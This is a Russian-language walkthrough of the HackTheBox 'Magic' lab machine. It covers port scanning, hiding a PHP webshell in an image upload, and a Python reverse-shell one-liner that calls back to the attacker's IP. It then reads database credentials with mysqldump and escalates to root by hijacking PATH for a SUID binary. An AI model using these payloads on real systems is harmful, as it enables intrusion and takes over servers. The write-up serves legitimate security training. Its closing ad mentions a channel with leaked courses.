HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo

в 15:05, , рубрики: ctf, HTB, pentest, pentesting, ralf_rt, red team, red teaming, информационная безопасность
HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 1

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье кидаем шелл в картинке, ищем учетные данные с помощью mysqldump и повышаем привилегии через sysinfo.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.

Организационная информация

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon

Данная машина имеет IP адрес 10.10.10.185, который я добавляю в /etc/hosts.

10.10.10.185 	magic.htb

Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.

masscan -e tun0 -p1-65535,U:1-65535 10.10.10.185       --rate=500

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 2

Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.

nmap -A magic.htb -p22,80

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 3

На хосте открыто 2 порта: 22 — служба SSH, и 80 — веб-сервер. Как обычно, смотрим веб.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 4

Замечаем ссылку на страницу авторизации. Первым делом пробуем один способ обхода авторизации, и находим верный.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 5

Нас встречает форма загрузки изображений. Давайте попробуем закинуть в php код. Для этого возьмем первые четыре байта изображения и допишем к ним код. При этом сохраним двойным расширением. Так как при загрузке, сервер проверит последнее, а при выполнении — первое.

python -c "print('x89x50x4ex47' + '<?php echo system($_GET['cmd']); ?>')" > 1.php.png

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 6

Но нас ловят.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 7

Давайте попробуем обхитрить, и спрячем код в комментарии.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 8

И после попытки загрузить, нам сообщают об успешной загрузке.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 9

Файл загружен, но вопрос — куда. Переберем директории, сайт простенький и время у меня было много, поэтому я не использовал gobuster и огромные словари. Запускаем dirb.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 10

Скорее всего, мы нашли директорию, куда загружаются файлы. Теперь обратимся к нашему файлу, и в качестве параметра передадим команду ls.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 11

И она выполнена!

Entry Point

Давайте кинем реверс шелл в качестве параметра.

http://10.10.10.185/images/uploads/me.php.jpg?cmd=python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.15.60",4321));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

И получаем бэкконнект на 4321 порт.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 12

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 13

И в рабочей директории находим файл для работы с базой данных.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 14

И в данном файле находим пароль пользователя.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 15

Причем этот пользователь есть в системе. Пробуем сменить пользователя, но неудачно.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 16

USER

Так как это пароль от базы данных, то он связан с mysql. Но у меня не вышло работать ни с mysql, ни с mysqladmin. Тогда было принято решение посмотреть все программы связанные с mysql.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 17

Удача улыбнулась mysqldump. Подключаемся и находим пароль.
mysqldump -u theseus -p iamkingtheseus Magic
HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 18

Теперь удачно меняем пользователя и получаем пользовательский флаг.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 19

ROOT

Для удобства работы я сгенерировал SSH ключи с помощью ssh-keygen, публичный записал в файл ~/.ssh/authorized_keys, а с помощью приватного подключился по SSH. Далее загружаем на удаленный хост LinPEAS и запускаем. После полного перечисления всей системы, анализируем вывод. Единственное, за что я зацепился, это файлы с выставленным SUID (те, которые выполняются нами от имени root).

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 20

Программа sysinfo. Поискав информацию, ничего про выполнение команд найти не удалось. Тогда пришла идея, а что если sysinfo использует другие программы, которые мы можем дискредитировать. Я запустил sysinfo под ltrace.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 21

Таким образом, sysinfo запускает программы lshw, fdisk и cat. Теперь подробнее про вектор LPE. В операционной системе есть переменная окружения PATH, которая хранит в себе пути.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 22

Когда вы набираете программу ls или cd, система по очереди ищет эти файлы в директориях, указанных в PATH. Таким образом, если мы на первое место в PATH запишем любую директорию, а нее помести другую программу ls или cat, то будет вызвана именно она.

Таким образом, подобное я проверну с fdisk. Я не буду кидать реверс шелл, а просто скопирую наш SSH ключ пользователя руту, чтобы подключиться к руту по SSH также, как к пользователю.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 23

Для примера вызовем fdisk. Как можно наблюдать, вызван легитимный fdisk.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 24

Теперь добавим наш путь в переменную окружения PATH.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 25

Теперь система будет искать fdisk сначала в /tmp/123.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 26

Запустим sysinfo.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 27

В выводе видим ошибку, так как директории .ssh у рута нет. Изменим скрипт, чтобы он сначала создавал директорию, а потом производил копирование. После выполнения sysinfo, никаких ошибок fdisk нет. Подключаемся по SSH как root и забираем флаг.

HackTheBox. Прохождение Magic. Password spraying. Mysqldump и LPE через sysinfo - 28

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.

Автор: Ральф Фаилов

Источник


* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js